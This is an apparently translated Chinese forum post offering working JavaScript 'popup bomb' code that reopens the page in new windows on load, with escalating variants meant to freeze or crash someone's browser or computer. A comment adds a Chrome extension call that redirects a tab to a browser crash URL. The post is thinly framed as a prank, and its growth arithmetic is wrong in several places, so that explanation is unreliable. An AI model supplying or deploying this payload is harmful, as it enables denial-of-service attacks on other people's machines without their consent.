警告:这将使用弹出窗口攻击导致任何浏览器或计算机崩溃:
如果你想让某人的计算机或浏览器崩溃
弹出窗口代码,可使浏览器或计算机崩溃
<script type="text/javascript">
function CrashAndBurn(url) { popupWindow = window.open( url,'popUpWindow','height=181,width=666,left=3,top=222') }
</script>
<body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">
如果你想让他们的浏览器严重卡顿,你可以使用这个弹出窗口,在每个弹出窗口中继续上传2个弹出窗口页面,也就是说第二次有2x2个弹出窗口,然后是4个、8个、16个、32个、64个等等弹出窗口。它会像病毒一样在浏览器中传播弹出窗口,填满屏幕直到电脑或浏览器崩溃和卡死,并关闭,仅供朋友之间开玩笑而不是放在在线网页上。
注意:你没有从我这里听到这个,好吗...哈哈...我只是建议作为一个对朋友的恶作剧,而不是用在在线网页上。如果你想加快它的崩溃速度,只需在onload body中添加更多的
JavaScript:CrashAndBurn(self.location,'_blank');
,例如四次。
<body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">
它将为每个弹出窗口加载4个弹出窗口,这意味着在4个弹出窗口之后,它将加载4x4即18个弹出窗口,然后是18x4即72个弹出窗口,然后是72x4即288个弹出窗口,然后是288x4即1152个弹出窗口,在几秒钟内完成了4轮弹出窗口。
而如果您想要“极端可怕”的话,可以使用x10的例子:
<body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">
如果你有8个弹窗,每个弹窗里面有10个元素,那么总共有100个弹窗。之后是1000个弹窗,然后是1,000,000个弹窗,这样会很快崩溃。
编辑 你可以使用while循环而不是复制粘贴10次。这样会更短。
chrome://
页面,只需要创建一个带有选项卡权限的扩展程序。然后,你可以使用chrome.tabs.update({ url: "chrome://inducebrowsercrashforrealz")
将当前标签页重定向到chrome://inducebrowsercrashforrealz
。 - Justin Liu